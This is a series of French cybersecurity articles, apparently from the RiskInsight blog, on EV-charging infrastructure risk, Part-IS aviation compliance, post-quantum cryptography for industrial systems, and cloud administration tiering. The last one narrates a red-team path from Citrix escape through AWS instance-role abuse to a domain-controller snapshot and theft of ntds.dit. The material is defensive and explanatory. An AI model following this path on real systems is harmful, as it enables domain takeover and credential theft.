Cette trajectoire repose toutefois sur la disponibilité d’un réseau de recharge dense, fiable et bien dimensionné sur l’ensemble du territoire. Qu’il s’agisse de recharge publique (autoroutes, voirie, centres commerciaux) ou privée (domicile, entreprises), l’infrastructure constitue la colonne vertébrale de l’écosystème de mobilité électrique. Au cœur de ce dernier, les Charging Point Operators (CPO) jouent un rôle structurant en tant que responsables de l’installation, de l’exploitation et de la maintenance des bornes. 

Le risque cyber s’impose quant à lui comme une menace majeure pour les infrastructures de recharge, dans un contexte où les réseaux électriques sont de plus en plus ciblés par des groupes cybercriminels et des acteurs étatiques1,2. Pour les CPO, cette réalité change la donne : maîtriser le risque cyber devient une condition indispensable à la fiabilité du service et à la protection de l’écosystème. À mesure que les réseaux de recharge s’étendent et se complexifient, les enjeux de cybersécurité deviennent centraux : protection des données, continuité de service, sécurisation des flux financiers, maîtrise des risques liés aux tiers.  

Cet article s’inscrit dans une série de trois articles retraçant les enjeux structurants rencontrés par les acteurs de la mobilité électrique, afin d’en décrypter les implications en matière de cybersécurité. 

Repenser les infrastructures de recharge : entre exigences opérationnelles et nouvelles contraintes cyber

Dans un contexte de forte croissance mais aussi de structuration progressive du marché, les CPO font face à une équation économique exigeante. Le déploiement des infrastructures de recharge requiert des investissements initiaux significatifs – acquisition du foncier, raccordement au réseau, achat et installation des bornes, supervision, maintenance – tandis que les taux d’usage restent encore hétérogènes selon les territoires et les typologies de sites. À cela s’ajoutent la volatilité des prix de l’électricité, la pression concurrentielle accrue et l’évolution rapide des standards technologiques, qui imposent des mises à niveau régulières. 

Les aides publiques tendant à se rationaliser et les financeurs attendant des trajectoires de rentabilité plus lisibles, l’optimisation de la performance économique des actifs devient impérative. La maximisation du taux de disponibilité, le pilotage fin des coûts d’exploitation, l’amélioration du taux d’occupation ou encore la diversification des sources de revenus ne sont plus des leviers secondaires, mais des conditions essentielles à la pérennité du business model des CPO. 

Figure 1 : Architecture d’une infrastructure de recharge classique

Les infrastructures de recharge, telles que conçues aujourd’hui, illustrées en Figure 1, reposent généralement sur un pilotage statique de la puissance des bornes par le système de supervision central, le Charging Point Management System (CPMS). Ce principe de fonctionnement ne permet pas ou limite la capacité du CPO à adapter en temps réel la distribution de puissance aux usages et aux contraintes du site. 

Ainsi, plusieurs pistes d’optimisation peuvent être mises en œuvre.  

D’abord, il est possible de renforcer la flexibilité énergétique du site, notamment pour soutenir la recharge rapide sans avoir à surdimensionner le raccordement au réseau. Pour cela, l’installation d’un Battery Energy Storage System (BESS) s’avère être une solution probante : ce stockage stationnaire par batteries agit comme un réservoir, capable de stocker l’énergie lorsqu’elle est disponible et de la restituer lors des pics de consommation, améliorant ainsi la stabilité et la résilience du site. 

Ensuite, vient l’intégration aux sites de moyens de production d’énergie locale et décarbonée, directement utilisable pour la recharge ou le stockage, en y ajoutant des dispositifs photovoltaïques. Les panneaux solaires, installés en toiture ou en ombrière, constituent cette brique de production renouvelable. Leur efficacité repose toutefois sur l’association avec des systèmes de pilotage et de stockage appropriés, assurant la cohérence environnementale de la mobilité électrique. 

Enfin, pour permettre la bonne intégration de ces moyens de production et de stockage d’énergie sur les sites de recharge, est arrivé un système gestion global appelé Energy Management System (EMS). Ce système permet de superviser et ajuster en temps réel les flux d’énergie sur le site, afin de les adapter aux besoins, aux contraintes locales et au contrat de raccordement. Il pilote la distribution de puissance, anticipe les appels de charge variables et maximise l’utilisation de la production locale. L’EMS permet ainsi de transformer une installation électrique classique en un système dynamique et intelligent. 

Grâce à une gestion intelligente via EMS, d’un stockage par batterie et de l’intégration de la production solaire, cette architecture (voir Figure 2) offre une optimisation des performances tout en maîtrisant les coûts, constituant ainsi une étape clé pour aborder la prochaine phase de la transition énergétique. 

Figure 2 : Architecture d’une infrastructure de recharge nouvelle génération 

Dans la suite de cet article, nous nous intéresserons à trois nouvelles sources de risques cybersécurité, introduits par l’ajout d’EMS au sein des infrastructures de recharges des CPO. 

L’EMS : un levier d’optimisation devenu un Single Point Of Failure

Les EMS se sont imposés comme un élément clé des infrastructures de recharge, en permettant aux CPO d’optimiser finement la gestion de la puissance et des stratégies de recharge. Cette centralité en fait un point critique en termes de cybersécurité – leur compromission peut entraîner des impacts opérationnels majeurs pour un CPO : 

• Indisponibilité d’une partie du parc de bornes ; 
• Dégradation de l’optimisation énergétique avec des impacts financiers directs ; 
• Déséquilibres de charge pouvant entraîner des limitations ou coupures de service sur site. 

Au-delà de ces scénarios d’incident, l’introduction des EMS modifie également en profondeur les risques auxquels les infrastructures de recharge sont exposées.  

Une dépendance accrue à des infrastructures tierces 

Le déploiement des EMS repose majoritairement sur des solutions « clés en main », associées à des plateformes de gestion opérées par les fournisseurs et hébergées dans des environnements cloud. Ces plateformes permettent aux CPO de piloter de manière centralisée l’ensemble de leur parc d’EMS en répondant à différents cas d’usages : optimisation de la puissance disponible, supervision des performances et pilotage à distance des stratégies de recharge. 

Cette architecture introduit toutefois une dépendance directe à des infrastructures tierces, situées hors du périmètre de contrôle du CPO. Elle élargit ainsi la surface d’attaque et renforce l’exposition des CPO aux risques de type supply chain.  

D’autant plus que ces fournisseurs sont souvent des acteurs spécialisés de taille limitée, dont la maturité en cybersécurité peut être hétérogène. Une compromission de ces plateformes peut ainsi avoir des impacts étendus, allant jusqu’à l’indisponibilité d’une partie significative des EMS opérés par un CPO et par extension un risque d’indisponibilité des bornes de recharge. 

De plus, la compromission de ces clouds EMS peut également entraîner des atteintes à la confidentialité des données, puisqu’elle permettrait à un attaquant de collecter des informations métiers sensibles, exploitables notamment à des fins d’espionnage : 

• Cartographie détaillée des sites et des équipements énergétiques déployés ; 
• Stratégies de pilotage énergétique, révélant les logiques d’optimisation mises en place par le CPO ; 
• Données de consommation et de puissance de l’ensemble des sites du CPO. 

Des communications locales reposant sur des protocoles peu sécurisés 

Ces nouvelles architectures étendent également la surface d’attaque au niveau du réseau local, en particulier via les communications avec les équipements énergétiques, encore largement basées sur des protocoles industriels peu sécurisés. 

À la différence des échanges entre systèmes de supervision (CPMS) et bornes, qui bénéficient de la standardisation apportée par OCPP, les communications entre l’EMS et les autres composants (BESS, Point de charge…) reposent encore majoritairement sur Modbus. 

Conçu à l’origine pour des environnements industriels fermés, ce protocole n’intègre pas nativement de mécanismes de sécurité tels que l’authentification ou le chiffrement. En pratique, chaque fabricant d’EMS met en œuvre ses propres mécanismes de protection, ce qui conduit à des niveaux de sécurité hétérogènes. Pour les CPO, cette diversité complique la sécurisation du parc et peut créer des nouveaux points de faiblesse exploitables au sein du réseau local. 

Les leviers pour sécuriser les infrastructures de recharge de nouvelle génération  

La sécurisation des infrastructures de recharge de nouvelle génération repose sur une approche structurée, permettant de concilier performance opérationnelle et maîtrise du risque cybersécurité. 

Assurer la résilience des architectures de recharge 

L’évolution des infrastructures de recharge introduit pour les CPO un point de défaillance unique (l’EMS). Pour y répondre, il est nécessaire de concevoir des architectures résilientes, capables de maintenir la continuité de service même en cas de défaillance de l’EMS. Cela peut notamment passer par :  

• La mise en place de dispositifs de supervision et d’alerte, permettant de détecter rapidement toute défaillance de l’EMS et d’activer les mécanismes de secours ; 
• La mise en place de modes de fonctionnement dégradés afin de permettre aux bornes d’assurer leur fonction même en cas de perte de disponibilité de l’EMS ; 
• La définition de stratégies de continuité et reprise d’activité incluant des scénarios de défaillance des EMS. 

Sécuriser les dépendances à des infrastructures tierces non maitrisées 

L’évolution de l’architecture des infrastructures de recharge oblige les CPO à maitriser à la fois les risques liés à la chaine d’approvisionnement et les risques propres à l’interconnexion entre le CPMS et les infrastructures cloud des fabricants d’EMS.  

Pour réduire les risques liés à la chaîne d’approvisionnement, les CPO doivent mettre en place des processus de qualification fournisseurs robustes, incluant notamment : 

• Evaluation du niveau de maturité cybersécurité du fournisseur ; 
• Evaluation du niveau de sécurité du produit au moyen de tests d’intrusion ; 
• Encadrement contractuel des relations fournisseurs, incluant si nécessaire la mise en place de Plans d’Assurance Sécurité (PAS). 

En plus de la maitrise de sa chaîne d’approvisionnement, les CPO doivent prendre en compte les risques introduits par l’interconnexion de leur infrastructure avec celles des fabricants d’EMS (cloud EMS). Cette sécurisation passe par la maitrise des flux entre les infrastructures du CPO et ces environnements externes. Cette sécurisation peut se faire par trois moyens principaux :  

• Mettre en place des mécanismes de filtrage et de contrôle des flux entre le réseau local des infrastructures de recharge et l’extérieur pour restreindre les communications seulement vers les infrastructures tierces légitimes ; 
• Formaliser des standards d’architecture sécurisées et veiller à leur mise en œuvre effective lors du déploiement d’EMS sur le terrain pour garantir une application homogène des bonnes pratiques cybersécurité ; 
• Implémenter des mécanismes d’isolation permettant de contenir les éventuelles défaillances du cloud EMS et éviter leur propagation à l’ensemble du parc. 

Sécuriser les communications reposant sur des protocoles industriels 

Les communications entre EMS et équipements énergétiques, notamment les BESS, reposent encore largement sur des protocoles industriels tels que Modbus, qui ne disposent pas de mécanismes de sécurité natifs. Dans ce contexte, la sécurisation de ces échanges ne peut reposer sur les protocoles eux-mêmes, mais doit être assurée au niveau de l’architecture des infrastructures. 

Cela implique notamment : 

• La mise en place d’une segmentation réseau stricte sur le réseau local, isolant les EMS, les BESS et les autres composants afin de limiter les surfaces d’exposition ; 
• Le contrôle fin des communications, en restreignant localement les flux aux seuls échanges nécessaires (filtrage, whitelisting, limitation des commandes autorisées) ; 
• La mise en place de dispositifs de supervision des échanges, permettant de détecter les comportements anormaux ou non autorisés. 

Mettre en place une gouvernance cybersécurité structurée 

Pour faire face à la diversité de composants et d’infrastructures exploités sur leur parc, il est indispensable pour les CPO de structurer l’ensemble autour d’une gouvernance claire comprenant notamment :  

• Clarification des rôles et responsabilités cyber sur l’ensemble de la chaîne de valeur (CPO, fournisseurs…) ; 
• Définition d’un processus d’intégration de la cybersécurité dans les projets, applicable à l’ensemble des projets dès leur phase de conception, garantissant une cohérence globale du niveau de sécurité des sites. 

En combinant une gestion rigoureuse des risques fournisseurs, un cadre de gouvernance solide et un contrôle strict des flux, les CPO peuvent tirer pleinement parti des gains opérationnels offerts par les EMS tout en sécurisant leur infrastructure de manière durable. 

Optimiser sans compromettre : le défi des infrastructures de recharge 

Pour conclure, l’essor des EMS transforme en profondeur les infrastructures de recharge, en apportant des leviers d’optimisation indispensables mais aussi de nouveaux risques cyber. Pour les CPO, l’enjeu n’est plus seulement de déployer ces solutions, mais de les sécuriser dans une logique globale, intégrant la gestion des risques fournisseurs, la définition d’architectures sécurisées et la structuration de la gouvernance cybersécurité. À ce titre, la cybersécurité s’impose désormais comme un prérequis à la performance durable des infrastructures de recharge. 

Cet article Infrastructures de recharge électrique : Performance énergétique et nouveaux défis cybersécurité est apparu en premier sur RiskInsight.

Où en est le secteur? 

La montée en puissance de Part-IS s’est faite par étapes. Après l’entrée en vigueur progressive des textes en 2022 et 2023, l’année 2025 a été marquée par la préparation des dossiers de conformité et la structuration des SMSI. 

Depuis le 22 février 2026, le règlement d’exécution est pleinement applicable, ce qui signifie que de nouveaux périmètres sont désormais couverts, notamment les activités de maintenance et de réparation à travers la Part-145. Part-IS concerne aujourd’hui l’ensemble de la chaîne opérationnelle, de la conception jusqu’aux opérations et au support. 

Aujourd’hui, les acteurs du secteur concernés par la Part-IS ont pris connaissance du sujet et transmis leur SMSI. Dans ce contexte d’engagement généralisé, l’EASA a, de son côté, ajusté le cadre en précisant et en assouplissant certaines modalités, à travers la mise à jour des AMC et GM de la Part-IS. 

L’EASA prévoit une phase de développement de 18 mois après la date d’applicabilité pour atteindre une mise en œuvre pleinement opérationnelle. Cette progression peut se lire simplement en trois étapes : un dispositif d’abord présent et adapté (P + S), puis opérationnel (O), avant d’atteindre un fonctionnement effectif dans la durée (E).

Les mises à jour EASA : qu’est-ce qui change concrètement ? 

Fin 2025, l’EASA a mis à jour les AMC et GM relatifs à Part-IS et consolidé ces évolutions dans une nouvelle version des Easy Access Rules associée. 

Concrètement, ces évolutions introduisent plusieurs allègements importants : 

• Les organisations déclarées n’ont plus besoin d’une approbation préalable de leur SMSI.
• Pour rappel, les organisations agréées sont soumises à un processus d’approbation formelle par l’autorité (EASA ou autorité nationale). Elles doivent obtenir un agrément, faire approuver leur manuel SMSI et soumettre certaines modifications à validation préalable contrairement aux organisations déclarées, qui sont supervisées a posteriori par l’autorité. Vous pouvez retrouver la liste des organismes déclarés soumis à Part-IS ici. 
• Les modifications du SMSI, lorsqu’elles sont couvertes par une procédure interne définie, ne nécessitent plus de « feu vert » formel de l’autorité : une notification suffit. 
• Le rôle de l’autorité est recentré sur la supervision et l’audit, plutôt que sur une logique d’approbation systématique. 

Cependant, les attentes restent les mêmes : le SMSI (SGSI au sens du règlement) doit être robuste, cohérent, traçable, et réellement appliqué. L’allègement apporté par la mise à jour des AMC et GM est donc administratif et non opérationnel. 

Sur le terrain, cela résonne avec les premiers retours de l’OSAC sur les SMSIs : la gouvernance autour de ce dernier apparaît comme un point central. Les autorités portent une attention accrue à la dimension cybersécurité que doivent avoir les acteurs identifiés. La qualité du document est également scrutée, non seulement sur le fond, mais aussi sur la forme (structure, cohérence…). 

Les cinq chantiers du secteur pour passer Part‑IS à l’échelle 

Au‑delà de ces premiers retours, nous avons pu observer lors de nos accompagnements que la mise en œuvre de Part-IS fait émerger cinq défis chez la plupart des acteurs : gouvernance & coordination, validation de l’inventaire, finalisation des analyses de risques, formation des responsables et équipes, contraintes RH et contrôle des personnes. 

Mais le plus chronophage reste l’analyse de risques, en particulier pour les grandes organisations multi‑sites. Celle‑ci ne peut plus être uniquement centralisée, et doit être déclinée localement, intégrer les réalités de chaque site, les chaînes fonctionnelles, ainsi que les sous‑traitants. Cette approche holistique est exigeante, mais indispensable pour démontrer une application cohérente de Part‑IS. 

Une approche pragmatique pour passer à l’échelle 

Face à ces enjeux, la clé réside dans l’anticipation du déploiement. Un SMSI efficace repose sur un socle commun solide, mais aussi sur des outils concrets permettant une déclinaison locale : modèles, guides, méthodes d’analyse de risques adaptées aux réalités opérationnelles. 

La réussite de Part-IS repose sur la coordination entre les équipes cybersécurité, les équipes métiers et les fonctions qualité et conformité. Part-IS n’est pas une couche supplémentaire : c’est un cadre transverse qui structure durablement la gestion du risque cyber au service de la sécurité aérienne. 

En conclusion 

En 2026, Part-IS entre en phase d’application. La consolidation des AMC/GM fixe un terrain clair et allège la charge administrative par rapport à la 1ère monture. 

En complément, ces mises à jour fin 2025 ont notamment étendu le périmètre de la Part‑IS aux prestataires d’assistance en escale via le règlement délégué (UE) 2025/22 amendant le (UE) 2022/1645, applicable à compter du 27 mars 2031. Pas d’impact opérationnel immédiat en 2026, mais un signal utile pour anticiper la cartographie des interfaces, sans urgence à court terme. 

Cet article Part-IS en 2026 : du cadre réglementaire à la réalité du terrain est apparu en premier sur RiskInsight.

Menaces quantiques : une nouvelle ère pour la cryptographie industrielle 

L’informatique quantique représente une menace pour les algorithmes cryptographiques classiques qui garantissent l’intégrité, l’authenticité et la confidentialité des communications, y compris celles des systèmes OT et des produits. Même si le “Q-Day” (le jour où les ordinateurs quantiques casseront la cryptographie actuelle) est encore à quelques années devant nous, le risque est déjà là : les attaquants peuvent d’ores et déjà procéder à des attaques de type « Harvest Now, Decrypt Later », stockant des données chiffrées aujourd’hui pour les déchiffrer dès que les algorithmes cryptographiques actuels seront brisés. Mais un autre risque, tout aussi critique, se profile : « Trust Now, Forge Later ». Les signatures numériques ou certificats jugés fiables aujourd’hui pourront être falsifiés demain, rendant possible l’installation transparente de logiciels malveillants ou encore la compromission de chaînes d’approvisionnement. Contrairement à la fuite progressive de données, cette attaque provoque une rupture immédiate de la confiance et de l’intégrité, avec des impacts massifs sur les environnements industriels et les produits connectés. Avec la feuille de route européenne jalonnant 2026, 2030 et 2035, la question réside dans l’ordonnancement de la transition.  

Dans l’industrie, où les équipements vivent plusieurs décennies, c’est un enjeu majeur. 

L’industrie est particulièrement touchée : les environnements OT et les produits embarqués reposent sur des usages cryptographiques critiques qui seront directement impactés par l’arrivée des algorithmes post-quantiques. 

Plusieurs cas d’usages industriels et produits prioritaires identifiés : 

• Administration sécurisée des systèmes OT et produits : garantir l’intégrité et la confidentialité des opérations. 
• Signature numérique et intégrité des firmwares : garantir la fiabilité des mises à jour logicielles (secure boot, code signing, X.509…).
• Accès distants sécurisés aux actifs industriels et produits : protéger les connexions VPN, SSH, RDP, et autres protocoles contre les attaques futures.
• Échanges de données IT/OT : sécuriser les flux entre les systèmes d’information et les environnements industriels (TLS, MQTTS, HTTPS…). 
• Confidentialité des données des processus industriels : préserver la confidentialité des données sensibles en transit ou au repos.
• Journalisation et historisation sécurisées : assurer la traçabilité et l’intégrité des logs et historiques critiques.

PQC pour l’OT & Produit : intégrer les  contraintes, préserver la crypto-agilité 

Contexte OT & Produit : des contraintes spécifiques 

Les systèmes OT et produits n’ont jamais été conçus pour la crypto-agilité. De nombreux protocoles industriels comme DNP3, Modbus ou MQTT ne sont pas chiffrés aujourd’hui car l’architecture OT repose historiquement davantage sur l’isolement réseau que sur la cryptographie, alors il n’y a pas de raison de penser qu’ils seraient tous chiffrés demain avec des algorithmes postquantiques.

Néanmoins, les communications chiffrées subiront cette rupture cryptographique.

Dans un second temps, beaucoup d’équipements OT présentent des contraintes matérielles importantes (processeur, mémoire, capacité de stockage) et disposent d’une durée de vie très longue, souvent entre 10 et 30 ans. Ces caractéristiques rendent les mises à jour difficiles et coûteuses : les mécanismes de mise à jour sécurisée à distance restent rares, et la signature des firmwares n’est pas systématiquement implémentée, ce qui est dans les faits une mauvaise pratique.

Ces contraintes expliquent pourquoi les environnements OT ne peuvent pas intégrer de nouvelles primitives cryptographiques au même rythme que l’IT, et pourquoi la PQC n’est pas encore prise en compte nativement.

Néanmoins, même si les produits et systèmes OT actuels ne sont pas conçus pour la cryptographie post-quantique, l’émergence des standards PQC, l’évolution des obligations réglementaires et la montée des risques liés au quantique rendent cette transition incontournable à moyen terme. 

Rendre la crypto-agilité opérationnelle pour l’industrie et les produits 

Le cadrage du projet PQC pour les Produits et l’OT peut s’axer en 4 volets principaux :

1. Réaliser l’inventaire cryptographique et prioriser les actifs critiques

Initier dès maintenant le dialogue avec vos fournisseurs de socles crypto (PKI, KMS, HSM) pour anticiper la migration.

2. Concevoir et déployer des architectures crypto-agiles

S’appuyer exclusivement sur les algorithmes standardisés par le NIST (ex : ML-KEM, ML-DSA, SLH-DSA), et proscrire tout développement interne ou adoption de librairies non standards pour les composants cryptographiques en privilégiant des solutions éprouvées et validées.

Concevoir des architectures crypto‑agiles implique de prendre en compte la dimension embarquée et ses contraintes (mémoire limitée, circuits imprimés, ressources énergétiques).  L’implémentation des algorithmes PQC sur ces systèmes reste incertaine. Toutefois, des algorithmes optimisés pour l’embarqué émergent et ouvrent la voie à une adoption réaliste.

3. Migrer progressivement via l’hybridation et l’itération

La transition vers la cryptographie post-quantique ne peut pas être pensée comme un projet ponctuel ou une migration « One Shot ». Il s’agit d’un processus itératif, à piloter dans la durée, en commençant par l’hybridation des algorithmes : c’est la stratégie explicitement recommandée par l’ANSSI et la Commission européenne.

La crypto-agilité n’est pas une option, mais une nécessité pour garantir la résilience, la conformité de vos environnements industriels et produits face à la menace quantique. Elle s’appuie sur une démarche structurée, pilotée par l’inventaire, l’architecture, la migration hybride et la gouvernance.

Retours terrain & cas d’usage concrets : des acteurs à des stades différents 

Notre expérience terrain révèle un écart de maturité saisissant entre deux profils d’acteurs industriels face à la cryptographie post-quantique : 

1. Les industriels avec une compréhension encore embryonnaire 

• Constat : Dans de nombreux environnements industriels, la PQC reste un concept abstrait, souvent perçu comme lointain ou réservé aux experts. 
• Symptômes :  
  • Les équipes opérationnelles et métiers ne sont pas impliquées dans les réflexions stratégiques sur la cryptographie. 
  • Les roadmaps actuelles manquent de maturité et de clarté, les chantiers sous-jacents sont souvent sous-estimés quant à leur coût. La priorité reste la continuité de service, la sécurité quantique étant reléguée au second plan. 
  • Les notions de HNDL & TNFL sont peu comprises, voire ignorées. 
• Risques :  
  • Perturbation de la production et fuite de données de processus industriels :  des communications vulnérables entre équipements critiques, basées sur des algorithmes obsolètes, exposent les données sensibles et peuvent entraîner des interruptions ou des perturbations majeures dans les opérations industrielles (perte d’intégrité des données).
  • Indisponibilité de production liée à une migration brutale : Une transition forcée vers la cryptographie post‑quantique, sans préparation ni crypto‑agilité, peut provoquer des arrêts de production, des surcoûts importants et des impacts sévères sur la continuité opérationnelle. 

 2. Les fournisseurs de produits : des pionniers déjà en phase d’industrialisation 

• Constat : À l’opposé, certains fournisseurs de produits (notamment dans l’automobile, ou les objets connectés) ont pris une longueur d’avance. 
• Symptômes :  
  • Les chantiers PQC sont priorisés sur les cas d’usage critiques : signature de firmware et mises à jour (OTA), gestion des identités d’équipements, sécurisation des accès distants, etc. 
  • Des pilotes sont lancés sur des lignes de produits ou des environnements représentatifs, avec des retours d’expérience concrets sur la performance, la compatibilité et la robustesse des solutions hybrides. 
  • La démarche s’industrialise : intégration de clauses PQC dans les contrats fournisseurs, automatisation de l’inventaire cryptographique CBOM, montée en compétence des équipes, et gouvernance dédiée. 

Conclusion & Roadmap : Passez à l’action pour bâtir un futur “quantum-safe” 

La menace quantique n’est plus une perspective lointaine : elle impose dès aujourd’hui une transformation profonde de la cybersécurité industrielle et produit.

1. Anticipez pour protéger l’avenir

Démystifiez les concepts quantiques et intégrez-les dès maintenant dans vos processus de cybersécurité, que ce soit pour vos produits, vos environnements OT ou vos systèmes IT. L’anticipation est la clé pour éviter la rupture.

2. Faites de la crypto-agilité une vision stratégique

Ne la considérez plus comme un simple projet technique, mais comme un pilier de votre résilience et de votre souveraineté numérique. Construisez une feuille de route claire, avec des jalons à court, moyen et long terme.

3. Appuyez-vous sur des partenaires de confiance

Le marché est prêt : des experts et des solutions existent pour vous accompagner dans la modernisation et la sécurisation de vos infrastructures critiques. Ne restez pas isolés face à la complexité.

4. Industrialisez la démarche

Passez du pilote à la généralisation : 

• Mettre en place une stratégie PQC pour cartographier, prioriser et piloter la migration des usages critiques (inclure des clauses PQC dans les contrats).
• Lancer un programme de transition pour moderniser les socles de confiance (PKI, CLM, HSM), automatiser l’inventaire et assurer la continuité des opérations.
• S’appuyer sur les retours d’expérience des pairs et des secteurs déjà engagés dans la PQC.

Le risque quantique est déjà là : chiffrement asymétrique fragilisé, signatures et données exposées.  

Comme mentionné précédemment, nous partons du constat que Les éléments qui ne sont pas chiffrés aujourd’hui dans l’environnement OT, n’ont pas vocation à être chiffrés demain avec des algorithmes postquantiques, car les mesures existantes assurent déjà un niveau de risque jugé acceptable.

Autrement dit, la PQC ne vise pas à transformer l’ensemble de l’OT, mais à protéger les usages qui reposent réellement sur des mécanismes cryptographiques exposés au risque quantique.

Pour autant, ce constat ne réduit pas l’importance de la préparation.

Les deux priorités restent les suivantes :  

• Migrer vos actifs critiques avant 2030 et agir dès aujourd’hui pour protéger la confidentialité des données.  
• Définir votre périmètre, et bâtir votre plan d’action, et surtout engager une démarche de migration dès aujourd’hui. 

Cet article La cryptographie post-quantique pour les produits et l’OT : de la tendance à la réalité industrielle est apparu en premier sur RiskInsight.

Le principe de tiering préconisé sur les infrastructures on-premise est-il applicable au cloud ?

Évolution du modèle de sécurité

Dans les environnements on-premise, en particulier Active Directory, la sécurité des infrastructures s’appuie généralement sur une segmentation stricte en trois niveaux (T0, T1 et T2) permettant d’isoler les systèmes d’administration critiques (T0), les serveurs (T1) et les postes utilisateurs (T2) afin de limiter les risques de propagation.

Cette organisation hiérarchique et périmétrique est inhérente au monde AD et ne peut être directement appliquée au cloud pour ces deux principales raisons :

• Les portails sont centralisés: une grande diversité d’administrateurs aux droits différents interagit avec la même URL.
• La frontière entre les niveaux d’administration est complexifiée: le principe de permission fine, par rôle (RBAC), par attribut de ressources (ABAC), selon certaines conditions (provenance, risque, conformité, méthode d’authentification…) permet de configurer des accès très précisément, mais complexifie et floute la vision globale des permissions.

Afin de proposer une réponse à ce nouveau paradigme, Microsoft a publié son Enterprise Access Model (décrit ici), mettant en évidence 3 principaux plans : le Control Plane, Management Plane et Data Plane.

Ce modèle reprend la criticité « en cascade », mais simplifiant :

• les 3 tiers en 2 accès : administrateur vs utilisateur ;
• les flux d’administration en accès au portail ;
• la criticité des serveurs en les centralisant dans le Data plane.

Une illustration de l’ancien et du nouveau modèle :

Ce nouveau modèle met particulièrement en valeur 3 éléments :

• L’identité de l’utilisateur : accès privilégié vs accès utilisateur ;
• La donnée et les services : au détriment des serveurs ;
• La méthode d’accès aux portails web d’administration.

L’inversion des importances entre « serveurs » et « portails web » abstrayant l’Active Directory est un changement radical.

Cependant, très peu (si ce n’est aucune) grande structure en est à ce niveau d’abandon de son SI « legacy », une grande partie sera dans un état transitoire où ce SI aura été virtualisé sur un Cloud afin de se séparer de ses datacenters, mais dont les modalités d’administration sont restées les mêmes.

Ces entreprises doivent donc traiter avec un tiering model désuet et un Enterprise Access Model décoléré des risques et besoins de sécurité actuels.

Pour la suite de cet article, nous prendrons comme exemple la société Tartampion, qui vient de terminer un programme Move-to-Cloud de 3 ans sur AWS. Le bilan est le suivant :

• Une Landing Zone a été créée, les applications déjà sur AWS y ont été intégrées
• Les Data Center ont été fermés
• Pris par le manque de temps et de moyens, une majeure partie du SI a été incorporé en lift and shift, incluant des solutions métiers, réseau, bastion et AD.

Un SI hybride et virtualisé qui pose problème

Selon l’EAM, les portails Azure et AWS sont affichés au même niveau (le management plane) au rang T1, sans autre forme de distinction. Or ces 2 environnements cloud sont à eux seuls le support de nombreux SI, utilisés par de multiples collaborateurs avec des niveaux de droits et d’impacts très variés.

Pour illustrer les précédents propos, mettons de côté l’aspect Digital Workplace (suite O365) et prenons 3 comptes AWS issus d’une Landing Zone de Tartampion, supportant différents services d’infrastructure :

En se fiant au référentiel proposé par Microsoft, ces trois comptes AWS devraient appartenir au Management plane avec un niveau de sécurité T1. Cependant, en cas de compromission d’un des 3 comptes par un attaquant, les impacts seraient très différents.

Si la Landing Zone est correctement implémentée, la compromission d’un compte de Sandbox n’aurait que très peu d’impact, tandis que celle du Master Account entrainerait celle de tous les comptes et ressources sous-jacentes.

Un exemple de découpage plus adéquat serait le suivant :

L’Enterprise Access Model par Microsoft est un framework macroscopique permettant d’initier une base de découpage des services cloud, mais qui reste à adapter selon la criticité des SI concernés.

Comment le rendre pertinent ? Pour répondre, il faut comprendre les scénarios d’attaque exploitant les services cloud.

Le Cloud vu de l’attaquant

5 principes du cloud favorisant les attaques

Premièrement, les infrastructures cloud sont par défaut exposées sur Internet, contrairement aux ressources sensibles d’un SI. Ainsi, un phishing réussi conduit très probablement à un accès sur le Cloud.

Deuxièmement, les entreprises ont aujourd’hui des organisations hybrides (on-premise et cloud) :

• Les infrastructures cloud sont reliées au reste du SI on-premise ;
• Les postes de travail peuvent également être hybrides et gérés par un service cloud comme Intune. Les permissions pour utiliser ce service sont gérées dans Entra ID ;
• Les identités sont souvent des comptes synchronisés, cela concerne également les comptes d’administration.

Les organisations hybrides peuvent faciliter les latéralisations entre le cloud et l’on-premise.

Troisièmement, la gestion des identités est très complexe avec différentes portées. Par exemple, Entra ID permet de gérer les accès à Azure et M365 aussi bien pour des utilisateurs, que des applications que des comptes de service.

Pour compléter, les notions de cybersécurité liées au Cloud sont encore relativement nouvelles et méconnues pour certaines équipes « legacy », comme le SOC/CERT, le réseau… Les ressources cloud les plus sensibles ne sont pas systématiquement identifiées, protégées et surveillées.

Enfin, même si des mécanismes de détection natifs sont présents, ils ne sont pas toujours interconnectés avec les SIEM/SOAR, ce qui ralentit les capacités d’intervention. Une récente opération Purple Team menée sur des infrastructures Azure et AWS a confirmé que les outils de détection natifs ont une capacité de détection limitée. Il s’agit d’un constat retrouvable dans les Red Team puisqu’avec une démarche « OpSec », les outils de détection cloud sont rarement capables d’identifier une attaque en cours.

REX de nos tests d’intrusion & Red Team

Issus des opérations de Red Team menées récemment, ces chemins d’attaques spécifiques aux environnements cloud sont témoin des impacts et des facilités qu’il est possible d’avoir pour s’élever en privilège jusqu’à obtenir des accès très permissifs :

Le premier scénario, effectué sur AWS, est décrit ci-dessous, les deux autres ont été analysés dans une série d’articles Risk Insight disponible ici.

Reconnaissance et Accès initial

Des catégories d’employés sont généralement ciblées afin de compromettre une personne avec des droits intéressants dans le SI (Développeur, Support, OPS…). Un moyen souvent utilisé est d’utiliser du phishing. Les mécanismes de phishing actuel sont capables de contourner l’usage de mots de passe complexe et la plupart des méthodes de MFA (Multi-Factor Authentication).

Escalade de privilèges et mouvements latéraux

Dans le premier scénario, un développeur compromis possédait des accès à une ferme Citrix. Les environnements Citrix ne sont pas simples à durcir complètement et quelques vulnérabilités d’échappement ont permis à la Red Team d’avoir un accès au serveur sous-jacent.

Les informations récoltées sur la machine ont indiqué que le serveur pouvait être hébergé sur AWS. Cela s’est vérifié en essayant d’accéder aux métadonnées AWS du serveur : l’instance avait des droits sur le compte AWS du client. La machine virtuelle du Citrix possédait le rôle « AmazonEC2FullAccess » lui permettant des actions de gestion sur les EC2 du même compte AWS.

À l’aide de la CLI AWS, les autres EC2 ont été listées. Un contrôleur de domaine du client était présent dans ce compte AWS. C’est une pratique courante de vouloir regrouper dans un même compte, généralement appelé « Shared Services », les services qui ont pour vocation d’être utilisés par plusieurs projets. Il est néanmoins recommandé de vérifier que la criticité des services partagés soit homogène de sorte à pouvoir appliquer un durcissement adéquat sur le compte, ou les séparer en plusieurs environnements.

Actions sur les trophées

À partir du rôle AWS du serveur Citrix, une sauvegarde instantanée du contrôleur de domaine a été faite puis téléchargée. Les sauvegardes d’un contrôleur de domaine contiennent tous les fichiers de la machine, y compris les fichiers les plus sensibles, comme la base ntds.dit, qui contient les informations et secrets de tous les utilisateurs du domaine. L’exfiltration de cette base se traduit en la compromission totale du domaine AD concerné.

